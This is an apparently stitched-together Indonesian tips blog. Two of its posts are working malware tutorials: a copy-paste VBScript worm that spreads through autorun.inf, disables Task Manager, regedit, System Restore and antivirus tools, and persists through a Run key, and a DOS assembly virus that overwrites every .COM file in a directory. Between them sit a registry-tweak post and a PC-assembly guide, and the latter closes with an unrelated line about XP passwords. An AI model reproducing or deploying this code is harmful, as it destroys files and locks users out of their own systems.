Senin, 09 Mei 2011

Membuat Virus Dengan Notepad



                                                                     By: hendrik.Bmp
1. Buka Notepad
2. Copy kan kode dibawah ini:
on error resume next
dim rekur,syspath,windowpath,desades,
longka,mf,isi,tf,F0nAb0530,nt,check,sd
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe Mila.sys.vbs”
set longka = createobject(“Scripting.FileSystemObject”)
set mf = longka.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
Set windowpath = longka.getspecialfolder(0)
Set syspath = longka.getspecialfolder(1)
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 32
set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)
tf.write rekur
tf.close
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 39
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path “A:” then
set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)
tf.attributes =32
set tf=longka.createtextfile(desades.path &”\Mila.sys.vbs”,2,true)
tf.write rekur
tf.close
set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)
tf.attributes = 39
set tf =longka.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = longka.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
set F0nAb0530 = createobject(“WScript.Shell”)
F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: F0nA ::”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “F0nAb0530-X2/1″
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “F0nAb0530-X2″
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Aku Sayang Mila”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”
F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.macancrew.net”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger”,”“
if check 1 then
Wscript.sleep 200000
end if
loop while check 1
set sd = createobject(“Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
3. Simpan dengan nama Mila.sys.vbs

cara mempercepat kinerja komputer tanpa sofware



Berikut bape akan post topik mengenai cara mempercepat kinerja komputer tanpa sofware, tapi sebelumnya hati-hati ya karena ini berhubungan dengan sistem regestry atau bagusnya dibackup dulu regestrynya biar aman....sedia payung sebelum hujan...weleh2 gak nyambung pe...hehe...langsung aja ya ikutin langkah-langkahnya 

1. Klik Start → Run ketikkan MSCONFIG lalu pilih tab Start up hilangkan centang pada Automatic updates
2. Klik Start → Run ketikkan REGEDIT masuk ke HKEY_CURRENT_USER → CONTROL PANEL → DESKTOP
Ubah nilai pada MENU SHOW DELAY MENJADI 10
Ubah nilai pada HANG_UP TIME OUT MENJADI 5
3. Masih di regedit masuk ke HKEY_LOCAL_MACHINE → SYSTEM → CONTROL SET 001 → CONTROL → ubah nilai pada WAIT TO KILL SERVICE = 500
4. Masih di regedit masuk ke HKEY_LOCAL_MACHINE → SYSTEM → CONTROL SET 002 → CONTROL → ubah nilai pada WAIT TO KILL SERVICE = 500
5. Masih di regedit masuk ke HKEY_LOCAL_MACHINE → SYSTEM → CURRENT CONTROL SET → CONTROL → SESSION MANAGER → MEMORY MANAGEMENT → ubah nilai pada DISABLE PAGING EXECUTIVE = 1
6. Tekan tombol windows + pause break pilih ADVANCE → VIRTUAL MEMORY → CHANGE pilih pada drive C:Windows, ubah nilai memory menjadi lebih besar namun jangan sampai melewati nilai pada maximum capacity memory.
Gimana hasilnya nampak gak klo belum pasti komputernya dah kadaluarsa thu...haha...
selamat mencoba.. 

CARA MERAKIT KOMPUTER



Merakit komputer adalah sesuatu langkah yang oleh kebanyakan orang dianggap sulit saat kita membeli dan ingin menggunakan komputer dengan spec tertentu. Dalam makalah ini  saya akan menjelaskan mengenai cara merakit komputer lengkap dengan gambar. Tahap—tahap dalam merakit komputer antara lain:
A. PERSIAPAN
Persiapan akan memudahkan dalam perakitan komputer serta menghindari permasalahan yang mungkin timbul karena kurangnya pengetahuan dan pengenalan hardware. Hal yang terkait dalam persiapan meliputi:
A1. Penentuan Konfigurasi Komputer
Konfigurasi komputer terkait dengan penentuan jenis komponen dan fitur dari komputer serta bagaimana seluruh komponen dapat bekerja sebagai sebuah sistem komputer sesuai keinginan dan kebutuhan kita.Penentuan komponen dimulai dari jenis prosessor, motherboard, lalu komponen lainnya seperti kartu grafis dan kartu suara serta memory RAM dan Harddisk.
Faktor kompatibilitas dari komponen terhadap motherboard harus diperhatikan, karena setiap jenis motherboard mendukung jenis prosessor, modul memori, port dan I/O bus yang berbeda-beda. Bukalah buku manual motherboard anda untuk mengetahui komponen yang didukung olehnya.
A2. Persiapan Kompunen dan perlengkapan
Komponen komputer beserta perlengkapan untuk perakitan dipersiapkan Untuk perakitan dipersiapkan lebih dulu untuk memudahkan perakitan. Perlengkapan yang disiapkan terdiri dari:
Komponen komputer
• Kelengkapan komponen seperti kabel, sekerup, jumper, baut dan sebagainya
• Buku manual dan referensi dari komponen
• Alat bantu berupa obeng pipih.
• Software sistem operasi, device driver dan program aplikasi
Gambar 1: Contoh perlengkapan motherboard.
Buku manual diperlukan sebagai rujukan untuk mengatahui diagram posisi dari elemen koneksi (konektor, port dan slot) dan elemen konfigurasi (jumper dan switch) beserta cara setting jumper dan switch yang sesuai untuk komputer yang dirakit. Ini dikarenakan konfigurasi atau penataan komponen di tiap motherboard berbeda satu dengan yang lain. Diskette atau CD Software diperlukan untuk menginstall Sistem Operasi, device driver dari piranti, dan program aplikasi pada komputer yang selesai dirakit.
A3. Pengamanan
Tindakan pengamanan diperlukan untuk menghindari masalah seperti kerusakan komponen oleh muatan listrik statis, jatuh, panas berlebihan atau tumpahan cairan.Pencegahan kerusakan karena listrik statis dengan cara:
1. Menggunakan gelang anti statis atau menyentuh permukaan logam pada casing sebelum memegang komponen untuk membuang muatan statis.
2. Tidak menyentuh langsung komponen elektronik, konektor atau jalur rangkaian tetapi memegang pada badan logam atau plastik yang terdapat pada komponen.
3. Menggunakan alas kaki saat melakukan perakitan.
4. Putuskan segala koneksi listrik ke komponen pada saat perakitan dan pastikan tidak ada material yang memungkinkan terjadi korsleting saat anda akan menyalakan PC.
B. PERAKITAN
Tahapan proses pada perakitan komputer terdiri dari:
1. Penyiapan motherboard
Periksa buku manual motherboard untuk mengetahui posisi jumper untuk pengaturan CPU speed, speed multiplier dan tegangan masukan ke motherboard. Atur seting jumper sesuai petunjuk, kesalahan mengatur jumper tegangan dapat merusak prosessor.
2. Memasang Prosessor
Prosessor lebih mudah dipasang sebelum motherboard menempati casing. Cara
memasang prosessor jenis socket dan slot berbeda.Jenis socket
• Tentukan posisi pin 1 pada prosessor dan socket prosessor di motherboard,
umumnya terletak di pojok yang ditandai dengan titik, segitiga atau lekukan.
• Tegakkan posisi tuas pengunci socket untuk membuka.
• Masukkan prosessor ke socket dengan lebih dulu menyelaraskan posisi kaki- kaki prosessor dengan lubang socket. rapatkan hingga tidak terdapat celah antara prosessor dengan socket.
• Turunkan kembali tuas pengunci
Jenis Slot
• Pasang penyangga (bracket) pada dua ujung slot di motherboard sehingga posisi lubang pasak bertemu dengan lubang di motherboard
• Masukkan pasak kemudian pengunci pasak pada lubang pasak
• Selipkan card prosessor di antara kedua penahan dan tekan hingga tepat masuk ke lubang slot.
contoh slot pada prosesor Pentium III
3. Memasang Heatsink
Fungsi heatsink adalah membuang panas yang dihasilkan oleh prosessor lewat konduksi panas dari prosessor ke heatsink.Untuk mengoptimalkan pemindahan panas maka heatsink harus dipasang rapat pada bagian atas prosessor dengan beberapa clip sebagai penahan sedangkan permukaan kontak pada heatsink dilapisi gen penghantar panas.Bila heatsink dilengkapi dengan fan maka konektor power pada fan dihubungkan ke konektor fan pada motherboard.
4. Memasang Modul Memori
Modul memori umumnya dipasang berurutan dari nomor socket terkecil. Urutan pemasangan dapat dilihat dari diagram motherboard.Setiap jenis modul memori yakni SIMM, DIMM dan RIMM dapat dibedakan dengan posisi lekukan pada sisi dan bawah pada modul.Cara memasang untuk tiap jenis modul memori sebagai berikut.
Jenis SIMM
• Sesuaikan posisi lekukan pada modul dengan tonjolan pada slot.
• Masukkan modul dengan membuat sudut miring 45 derajat terhadap slot
5. Memasang Motherboard pada Casing
Motherboard dipasang ke casing dengan sekerup dan dudukan (standoff). Cara
pemasangannya sebagai berikut:
1. Tentukan posisi lubang untuk setiap dudukan plastik dan logam. Lubang untuk dudukan logam (metal spacer) ditandai dengan cincin pada tepi lubang.
2. Pasang dudukan logam atau plastik pada tray casing sesuai dengan posisi setiap lubang dudukan yang sesuai pada motherboard.
3. Tempatkan motherboard pada tray casing sehinga kepala dudukan keluar dari lubang pada motherboard. Pasang sekerup pengunci pada setiap dudukan logam.
4. Pasang bingkai port I/O (I/O sheild) pada motherboard jika ada.
5. Pasang tray casing yang sudah terpasang motherboard pada casing dan kunci dengan sekerup.
6. Memasang Power Supply
Beberapa jenis casing sudah dilengkapi power supply. Bila power supply belum
disertakan maka cara pemasangannya sebagai berikut:
Masukkan power supply pada rak di bagian belakang casing. Pasang ke empat buah
sekerup pengunci.
Hubungkan konektor power dari power supply ke motherboard. Konektor power jenis ATX hanya memiliki satu cara pemasangan sehingga tidak akan terbalik. Untuk jenis non ATX dengan dua konektor yang terpisah maka kabel-kabel ground warna hitam harus ditempatkan bersisian dan dipasang pada bagian tengah dari konektor power
motherboard. Hubungkan kabel daya untuk fan, jika memakai fan untuk pendingin
CPU.
7. Memasang Kabel Motherboard dan Casing
Setelah motherboard terpasang di casing langkah selanjutnya adalah memasang kabel
I/O pada motherboard dan panel dengan casing.
1. Pasang kabel data untuk floppy drive pada konektor pengontrol floppy di motherboard
2. Pasang kabel IDE untuk pada konektor IDE primary dan secondary pada motherboard.
3. Untuk motherboard non ATX. Pasang kabel port serial dan pararel pada konektor di motherboard. Perhatikan posisi pin 1 untuk memasang.
4. Pada bagian belakang casing terdapat lubang untuk memasang port tambahan jenis non slot. Buka sekerup pengunci pelat tertutup lubang port lalumasukkan port konektor yang ingin dipasang dan pasang sekerup kembali.
5. Bila port mouse belum tersedia di belakang casing maka card konektor mouse harus dipasang lalu dihubungkan dengan konektor mouse pada motherboard.
6. Hubungan kabel konektor dari switch di panel depan casing, LED, speaker internal dan port yang terpasang di depan casing bila ada ke motherboard. Periksa diagram motherboard untuk mencari lokasi konektor yang tepat.
7. Memasang Drive
Prosedur memasang drive hardisk, floppy, CD ROM, CD-RW atau DVD adalah sama
sebagai berikut:
1. Copot pelet penutup bay drive (ruang untuk drive pada casing)
2. Masukkan drive dari depan bay dengan terlebih dahulu mengatur seting jumper (sebagai master atau slave) pada drive.
3. Sesuaikan posisi lubang sekerup di drive dan casing lalu pasang sekerup penahan drive.
4. Hubungkan konektor kabel IDE ke drive dan konektor di motherboard
(konektor primary dipakai lebih dulu)
Copyright © 2010 BangBamBang
Penutup
Demikian beberapa cara mendapatkan password XP. Semoga dapat bermanfaat
untuk anda
Referensi

Membuat Virus Program COM


Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Pada bagian ini, Penulis tidak akan menjelaskan bagaimana Kita menulis atau membuat program dengan ekstension com, tetapi pada bagian ini akan Kita lihat secara teknis, bagaimana program dengan ekstension com itu bekerja. Untuk mempelajari bahasa assembly, anda bisa membaca buku "Belajar Sendiri Pemrograman Bahasa Assembly" keluaran dari gramedia, karena penulis yang sama maka semua programming disini menggunakan gaya yang tetap sama.
            Sebelum penulis menjelaskan jalannya program dengan ektension com bekerja, supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :
                        .Model Small
                        .Code
                        Org 100h
            Label  :  Jmp Label2
                        Dataku Db ”Tempat Data Program Com”
            Label2:                       
Mov     AH,09h
                        Lea      DX,Dataku
                        Int       21h
                        Int 20h
            End     Label1
           
Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada saat program ini dijalankan oleh system operasi disediakan 100h (256) byte kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan  100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi untuk mengatur jalannya program Kita ini.
Program Segment Prefix (PSP)
            Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini digunakan untuk menyimpan berbagai informasi yang penting untuk program yang sedang dijalankan.  Berikut adalah strukture dari ke 100h byte PSP dari program :

Offset Sebanyak         Untuk
00h      2   Byte                       Alamat pemanggilan interupsi 20h
02h      1   Word          Alamat segment dari memory yang disediakan untuk program
04h      1   Byte                       Cadangan
05h      5   Byte                       Alamat pemanggilan interupsi 21h
0Ah     2   Word          Vektor Interupsi 23h
0Eh      2   Word          Vektor Interupsi 23h
12h      2   Word          Vektor Interupsi 24h
16h      22 Byte                       Cadangan
2Ch     1   Word          Alamat segment environment
2Eh      46 Byte                       Cadangan
5Ch     16 Byte                       FCB1
6Ch     16 Byte                       FCB2
80h      1   Byte                       Banyaknya karakter dari baris perintah
81h      127 Byte         Command Line
Pembuatan  Virus 001
            Virus yang pertama ini adalah virus yang akan menyerang semua program dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada didirektory aktif semua program dengan ektensi .COM dan menularkan virus kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara normal karena program yang asli telah ditimpa oleh program virus. Virus ini adalah virus yang tidak residen.
            Dari Gambar 1.1. Dapat Anda lihat bahwa virus overwrite akan menimpa dirinya keawal program yang dutulari virus. Virus ini akan merusakkan program yang ditulari. Program yang telah ditulari akan dijaga ukuran aslinya, sehingga kehadiran virus tidak mudah untuk diketahui.

;  Catatan :
;  Virus Overwrite yang akan merusak program yang ditumpangi. Penyebaran hanya pada direktory
;  aktif saja. Program ini tidak residen dan merupakan virus yang paling sederhana.
            .Model Small
                        .Code
                        Org      100h
V_Length                    equ      last-start
Start                label     near                 ; Awal Dari Virus
            mov     ah,4Eh                         ; Cari File Com Pertama
            mov     dx,offset filename; ds:dx - > Asciiz"*.com"
                        Int       21h
Back :
            mov     ah,43h                         ; Untuk mendapatkan Atribut File
                        mov     al ,0                ; ...... idem atas .......
                        mov     dx,9Eh            ; Awal File Com yang ditemukan
            int        21h                 ;
            mov     ah,43h                         ; Ubah Atribut File Yang Ditemukan
            mov     al,01                  ; ...... idem Atas .......
            and      cx,11111110b             ; Matikan Read Only
                        int        21h                  ;
                        mov     ax,3D01h        ; Buka file untuk write only
                        mov     dx,9Eh                        ; Nama File Di DTA       
                        int        21h                 ;

                        mov     bx,ax                           ; Bx = File Handle        
                        mov     ah,57h                         ; Dapatkan Tanggal File
                        mov     al,0                  ; .... Idem Diatas .....
                        int        21h                
                        push     cx                    ; Simpan Jam        
                        push     dx                    ; Simpan Tanggal 
 
                        mov     dx,100h                       ; Data Awal Virus 
                        mov     cx,v_length                 ; Panjang Virus     
                        mov     ah,40h                         ; Tulis Virus Ke File
                        int        21h                 
                        pop      dx                    ; Ambil Data tanggal
                        pop      cx                    ; Ambil Data Jam
                        mov     ah,57h                         ; Set jam dan
                        mov     al,01h             ; Tanggal File
                        int        21h                 
                        mov     ah,3Eh                         ; Tutup File Tersebut 
                        int        21h                  ; ........... 
                        mov     ah,4Fh                         ; Cari File Selanjutnya
                        int        21h                 
                        jnc       Back               ; Jika Ditemukan, Lompat
                        mov     ah,9h              ; Tulis Pesan
                        mov     dx,offset Data             ; Data Ke Layar
                        int        21h                 
Done:              int        20h                  ; Terminate Program
Filename          db        "*.com",0
Data                db        " File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last                 label     near
end                  start
 
Cara Kerja Virus :
                        .Model Small
                        .Code
                        Org      100h
V_Length                    equ      last-start
Start                label     near                 ; Awal Dari Virus
                       
Pada awal program, variable V_Length akan menghitung panjang, atau besarnya program virus  komputer ini. Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy program virus ini kedalam program yang lain. 
                        mov     ah,4Eh                         ; Cari File Com Pertama
                        mov     dx,offset filename; ds:dx - > Asciiz"*.com"
                        Int       21h 
            Pertama-tama, carilah program target yang akan ditulari dengan fungsi dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya akan mencari program “*.com” yang ada didirektory aktif saja, artinya program “*.com” yang terdapat pada direktory lain tidak akan tertular.
Back :
                        mov     ah,43h                         ; Untuk mendapatkan Atribut File
                        mov     al ,0                ; ...... idem atas .......
                        mov     dx,9Eh            ; Awal File Com yang ditemukan
                        int        21h                 ;
                        mov     ah,43h                         ; Ubah Atribut File Yang Ditemukan
                        mov     al,01                  ; ...... idem Atas .......
                        and      cx,11111110b             ; Matikan Read Only
                        int        21h 
                        Setelah mendapatkan file yang dicari, bacalah atribut dari file tersebut, untuk mencegah Kita terprotek dalam penulisan file yang mempunyai atribut read-only. Selanjutnya dengan logika ”and”, Kita akan mematikan atribut read-only dari file yang ditemukan sehingga Kita bisa melakukan penulisan pada file tersebut.
                        mov     ax,3D01h        ; Buka file untuk write only
                        mov     dx,9Eh                        ; Nama File Di DTA
                        int        21h                  ;
                        mov     bx,ax                           ; Bx = File Handle        
                        mov     ah,57h                         ; Dapatkan Tanggal File
   mov              al,0                  ; .... Idem Diatas .....
   int                 21h                 ;
  push               cx                    ; Simpan Jam        
   push              dx                    ; Simpan Tanggal 
                        Setelah atribut read-only dimatikan, bukalah file tersebut untuk tujuan penulisan virus kedalamnya atau untuk penularannya. Setelah file tersebut dibuka, simpalah handle atau kode file tersebut ke dalam register bx. Selanjutnya, carilah tanggal dan jam dari file yang telah dibuka, kemudian simpanlah hasilnya.
                        mov     dx,100h                       ; Data Awal Virus 
                        mov     cx,v_length                 ; Panjang Virus     
                        mov     ah,40h                         ; Tulis Virus Ke File
                        int        21h                  ;
  pop                dx                    ; Ambil Data tanggal
  pop                cx                    ; Ambil Data Jam
   mov              ah,57h                         ; Set jam dan
   mov              al,01h             ; Tanggal File
   int                 21h                  ;
   mov              ah,3Eh                         ; Tutup File Tersebut 
   int                 21h                  ; ...........

                        Program dengan ekstension com selalu dimulai pada offset ke 100h (256 Byte) yang disediakan untuk PSP. Maka karena program virus Kita yang pertama juga dengan ekstension com, maka untuk mengcopykan virus ke file yang lain, Kita akan mencopykan data mulai offset ke 100 sebanyak besar virus yang telah ditemukan.
            Setelah itu, aturlah jam dan tanggal dari jam dan tanggal yang telah Kita dapatkan sebelumnya. Kemudian aturlah supaya jam dan tanggal dari program atau file yang telah ditulari virus tidak berubah. Akhirnya, selesailah tugas penyebaran dan tutuplah file tersebut.
            mov     ah,4Fh                         ; Cari File Selanjutnya
            int        21h                  ;
            jnc       Back               ; Jika Ditemukan, Lompat
            Setelah file pertama ditulari, carilah file selanjutnya dengan ekstension yang sama. Jika ditemukan, maka tularilah file tersebut dengan cara yang sama seperti yang telah dijelaskan sebelumnya.
                        mov     ah,9h              ; Tulis Pesan
                        mov     dx,offset Data             ; Data Ke Layar
                        int        21h                  ;
Done:              int        20h                  ; Terminate Program
Filename          db        "*.com",0
Data                db        " File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last                 label     near
end                  start 
                        Setelah semua file yang terdapat pada direktory aktif tertular, tampilkanlah pesan kelayar komputer ”File Pada Direktory ini Telah Terserang Virus Semuanya".

Mencegah Dan membasmi Virus 001
                        Dari Virus 001 Dapat Anda lihat, bahwa virus ini adalah sebuah virus perusak. program yang telah ditulari tidak akan dapat diobati lagi. Jadi untuk membasmi virus ini tidak ada jalan lain kecuali  dengan menghapus program  Com yang telah ditulari virus. Anda bisa mengecek program tersebut ditularilari virus ini atau tidak dengan mengecek kata ” File Pada Direktory ini Telah Terserang Virus Semuanya”. Bila pada file Anda terdapat kata ini, maka Anda bisa menghapusnya. Untuk mencari kata ini Anda bisa menggunakan cara yang paling mudah, yaitu dengan perintah ”Type” dari dos. Selain itu Anda juga dapat menggunakan perintah ”Find”  dari dos untuk mencari kata-kata tersebut.
                Dari contoh virus yang pertama ini, dapat Anda lihat bahwa dengan mengerti cara kerja dari sebuah virus, Anda bahkan dapat membasminya tanpa programming sama sekali. Dengan memanfaatkan program umum, seperti program find.exe yang disertakan pada saat instalasi dos Anda dapat menjadikannya alat untuk mendeteksi dan membasmi virus. Mudah bukan ?!


hendrik.bmp

Ratusan tips dan trik tentang komputer.

offsetWidth); }